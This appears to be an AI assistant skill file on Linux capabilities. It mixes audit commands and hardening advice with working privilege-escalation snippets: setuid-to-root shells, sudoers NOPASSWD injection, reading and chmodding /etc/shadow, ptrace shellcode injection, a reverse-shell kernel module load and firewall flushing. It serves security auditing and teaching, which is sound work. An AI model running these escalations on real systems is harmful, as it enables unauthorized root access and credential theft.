| name | linux-capabilities |
| description | Linux capabilities security auditing and privilege escalation guide. Use this skill whenever the user asks about Linux capabilities, capability-based privilege escalation, container escapes, security auditing of Linux systems, or needs to understand how to check/modify capabilities on processes and binaries. Make sure to use this skill for any Linux security assessment involving capabilities, even if the user doesn't explicitly mention 'capabilities' but asks about privilege escalation, container breakout, or permission bypass techniques. |
Linux Capabilities Security Guide
A comprehensive skill for auditing, understanding, and working with Linux capabilities for security assessments and privilege escalation scenarios.
When to Use This Skill
Use this skill when:
- Auditing Linux systems for capability-based security issues
- Investigating privilege escalation vectors
- Analyzing container escape possibilities
- Checking what capabilities processes or binaries have
- Understanding how to modify or exploit capabilities
- Security assessments involving Linux permission systems
Quick Reference Commands
Check Process Capabilities
cat /proc/self/status | grep Cap
cat /proc/<PID>/status | grep Cap
capsh --print
getpcaps <PID>
Check Binary Capabilities
getcap /path/to/binary
getcap -r / 2>/dev/null
getcap -r /usr/bin 2>/dev/null
Decode Capability Hex Values
capsh --decode=0000003fffffffff
Modify Binary Capabilities
setcap cap_net_raw,cap_net_admin+ep /usr/sbin/tcpdump
setcap -r /path/to/binary
setcap -r cap_net_raw /path/to/binary
Capability Sets Explained
1. Inherited (CapInh)
- Purpose: Capabilities passed from parent to child processes
- Use case: Maintaining privileges across process spawns
- Restriction: Cannot gain capabilities parent didn't have
2. Effective (CapEff)
- Purpose: Capabilities currently in use by the process
- Significance: Kernel checks this set for permission decisions
- Key point: This is what actually grants privileges
3. Permitted (CapPrm)
- Purpose: Maximum capabilities a process can have
- Functionality: Can elevate from permitted to effective
- Boundary: Upper limit for process privileges
4. Bounding (CapBnd)
- Purpose: Ceiling on all capabilities a process can ever acquire
- Security: Extra layer preventing privilege escalation
- Use case: Restricting process privilege potential
5. Ambient (CapAmb)
- Purpose: Preserve capabilities across execve calls
- Functionality: Non-SUID programs can retain privileges
- Restriction: Subject to inheritable and permitted sets
Critical Capabilities for Security Audits
CAP_SYS_ADMIN
Risk Level: CRITICAL
Near-root level capability with extensive administrative privileges.
What it allows:
- Mount devices and filesystems
- Manipulate kernel features
- Container escape via mount namespace abuse
Exploitation example:
getcap -r / 2>/dev/null | grep sys_admin
fdisk -l
mount /dev/sda /mnt/
chroot /mnt/ bash
from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
libc.mount(b"/path/to/fake/passwd", b"/etc/passwd", b"none", MS_BIND, b"rw")
Mitigation: Drop this capability in containers unless absolutely necessary.
CAP_SYS_PTRACE
Risk Level: CRITICAL
Allows process debugging and memory manipulation.
What it allows:
- Attach to and debug any process
- Read/write process memory
- Inject shellcode into running processes
- Bypass seccomp filters
Exploitation example:
getcap -r / 2>/dev/null | grep ptrace
import ctypes
import sys
libc = ctypes.CDLL("libc.so.6")
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
libc.ptrace(PTRACE_ATTACH, pid, None, None)
shellcode = b"\x48\x31\xc0..."
for i in range(0, len(shellcode), 4):
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(rip+i), shellcode_byte)
libc.ptrace(PTRACE_DETACH, pid, None, None)
Mitigation: Use seccomp filters on ptrace(2) calls.
CAP_SYS_MODULE
Risk Level: CRITICAL
Allows loading/unloading kernel modules.
What it allows:
- Load malicious kernel modules
- Bypass all Linux security mechanisms
- Total system compromise
Exploitation example:
getcap -r / 2>/dev/null | grep sys_module
insmod reverse-shell.ko
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/")
km.modprobe("reverse-shell")
Mitigation: Never grant this capability in containers.
CAP_DAC_READ_SEARCH
Risk Level: HIGH
Bypasses file read permission checks.
What it allows:
- Read any file regardless of permissions
- Access files outside mount namespace
- Container breakout via open_by_handle_at
Exploitation example:
getcap -r / 2>/dev/null | grep dac_read_search
cd /etc
tar -czf /tmp/shadow.tar.gz shadow
cd /tmp
tar -xzf shadow.tar.gz
print(open("/etc/shadow", "r").read())
CAP_DAC_OVERRIDE
Risk Level: HIGH
Bypasses file write permission checks.
What it allows:
- Write to any file
- Modify /etc/passwd, /etc/shadow, /etc/sudoers
- Privilege escalation via file overwrites
Exploitation example:
getcap -r / 2>/dev/null | grep dac_override
vim /etc/sudoers
file = open("/etc/sudoers", "a")
file.write("youruser ALL=(ALL) NOPASSWD:ALL")
file.close()
CAP_SETUID / CAP_SETGID
Risk Level: HIGH
Allows setting effective user/group ID.
What it allows:
- Switch to root (UID 0)
- Impersonate any user or group
- Direct privilege escalation
Exploitation example:
getcap -r / 2>/dev/null | grep -E "setuid|setgid"
import os
os.setuid(0)
os.system("/bin/bash")
os.setgid(42)
os.system("cat /etc/shadow")
CAP_NET_RAW + CAP_NET_ADMIN
Risk Level: MEDIUM
Network manipulation capabilities.
What it allows:
- Create raw sockets
- Sniff network traffic
- Modify firewall rules
- Enable promiscuous mode
Exploitation example:
getcap -r / 2>/dev/null | grep -E "net_raw|net_admin"
import socket
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.bind(("lo", 0x0003))
while True:
frame = s.recv(4096)
import iptc
iptc.easy.flush_table('filter')
CAP_CHOWN / CAP_FOWNER
Risk Level: MEDIUM
File ownership and permission modification.
What it allows:
- Change file ownership
- Modify file permissions
- Escalate via permission changes
Exploitation example:
getcap -r / 2>/dev/null | grep -E "chown|fowner"
import os
os.chown("/etc/shadow", 1000, 1000)
os.chmod("/etc/shadow", 0o666)
CAP_SETFCAP
Risk Level: HIGH
Set capabilities on files and processes.
What it allows:
- Grant capabilities to other binaries
- Chain capability exploits
- Escalate to other dangerous capabilities
Exploitation example:
getcap -r / 2>/dev/null | grep setfcap
import ctypes
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p, ctypes.c_void_p]
cap = 'cap_setuid+ep'
cap_t = libcap.cap_from_text(cap.encode())
libcap.cap_set_file(b"/usr/bin/python", cap_t)
Docker Container Capability Auditing
Check Container Capabilities
capsh --print
cat /proc/`pidof bash`/status | grep Cap
capsh --decode=<hex_value>
Default Docker Capabilities
Docker containers typically have these capabilities by default:
- CAP_CHOWN
- CAP_DAC_OVERRIDE
- CAP_DAC_READ_SEARCH
- CAP_FOWNER
- CAP_FSETID
- CAP_KILL
- CAP_SETGID
- CAP_SETUID
- CAP_SETPCAP
- CAP_NET_BIND_SERVICE
- CAP_NET_RAW
- CAP_SYS_CHROOT
- CAP_MKNOD
- CAP_AUDIT_WRITE
- CAP_SETFCAP
Add/Remove Capabilities in Docker
docker run --cap-add=SYS_ADMIN image
docker run --cap-add=ALL image
docker run --cap-drop=ALL --cap-add=SYS_PTRACE image
docker run --cap-drop=SYS_ADMIN image
Security Audit Checklist
1. Identify Binaries with Capabilities
getcap -r / 2>/dev/null > /tmp/capabilities.txt
getcap -r /usr/bin 2>/dev/null
getcap -r /usr/sbin 2>/dev/null
getcap -r /bin 2>/dev/null
getcap -r /sbin 2>/dev/null
2. Check Running Processes
for pid in /proc/[0-9]*/status; do
grep -q "CapEff: 0000000000000000" "$pid" || echo "$pid"
done
cat /proc/<PID>/status | grep Cap
3. Analyze Capability Sets
capsh --decode=<hex_value>
capsh --print | grep -E "sys_admin|sys_ptrace|sys_module"
4. Test Capability Exploitation
python3 -c 'import os; os.setuid(0); os.system("id")'
python3 -c 'print(open("/etc/shadow").read())'
python3 -c 'import socket; s=socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))'
Mitigation Strategies
For System Administrators
- Principle of Least Privilege: Only grant necessary capabilities
- Regular Audits: Periodically scan for binaries with capabilities
- Container Hardening: Drop unnecessary capabilities in containers
- File Integrity: Monitor changes to capability settings
- SELinux/AppArmor: Use mandatory access controls
For Container Security
[Service]
User=appuser
AmbientCapabilities=CAP_NET_BIND_SERVICE
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
NoNewPrivileges=true
For Application Developers
- Drop capabilities early: Remove unnecessary capabilities at startup
- Use capability-aware libraries: Implement proper capability handling
- Validate inputs: Prevent capability abuse through input validation
- Run as non-root: Avoid running with full root privileges
Common Exploitation Patterns
Pattern 1: Binary with SETUID
getcap -r / 2>/dev/null | grep setuid
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Pattern 2: Container with SYS_ADMIN
capsh --print | grep sys_admin
mount /dev/sda /mnt/
chroot /mnt/ bash
Pattern 3: Binary with DAC_OVERRIDE
getcap -r / 2>/dev/null | grep dac_override
vim /etc/sudoers
Pattern 4: Combined Capability Chain
import os
os.setgid(42)
os.chown("/etc/shadow", 1000, 42)
os.system("grep '^root:' /etc/shadow > /tmp/root.hash")
Tools and Resources
Essential Tools
capsh - Capability shell and decoder
getcap - Query file capabilities
setcap - Set file capabilities
getpcaps - Query process capabilities
captoinfo - Convert capabilities to info format
Useful Commands
capsh --decode=0000003fffffffff
cat /proc/self/status | grep Cap
getcap -r / 2>/dev/null
capsh --drop=cap_net_raw -- -c "command"
External Resources
Safety Warnings
⚠️ Important Security Considerations:
- Legal Use Only: Only test on systems you own or have explicit permission to audit
- Backup First: Always backup critical files before testing capability modifications
- Understand Impact: Some capability exploits can permanently damage systems
- Document Everything: Keep records of all changes made during security assessments
- Revert Changes: Remove test capabilities after security assessments
Quick Start Guide
For Security Auditors
- Run
getcap -r / 2>/dev/null to find binaries with capabilities
- Check running processes with
cat /proc/<PID>/status | grep Cap
- Identify dangerous capabilities (SYS_ADMIN, SYS_PTRACE, SYS_MODULE)
- Test exploitation vectors in controlled environment
- Document findings and recommend mitigations
For System Administrators
- Audit existing capabilities regularly
- Remove unnecessary capabilities from binaries
- Harden container configurations
- Implement monitoring for capability changes
- Train staff on capability security
For Developers
- Design applications to drop capabilities early
- Use capability-aware programming patterns
- Test applications with minimal capabilities
- Document required capabilities
- Follow principle of least privilege
Troubleshooting
Common Issues
Issue: getcap not found
apt install libcap2-bin
yum install libcap
Issue: Cannot modify capabilities
sudo setcap cap_net_raw+ep /usr/bin/ping
Issue: Capability not taking effect
cat /proc/self/status | grep CapBnd
Issue: Container capability restrictions
docker inspect <container> | grep -A 20 HostConfig
Next Steps
After using this skill:
- Document findings: Record all capabilities discovered and their risk levels
- Prioritize remediation: Address critical capabilities first (SYS_ADMIN, SYS_PTRACE, SYS_MODULE)
- Implement monitoring: Set up alerts for capability changes
- Regular audits: Schedule periodic capability assessments
- Update policies: Revise security policies based on findings
Remember: Linux capabilities are a powerful security feature when used correctly, but can be dangerous when misconfigured. Always follow the principle of least privilege and regularly audit your systems.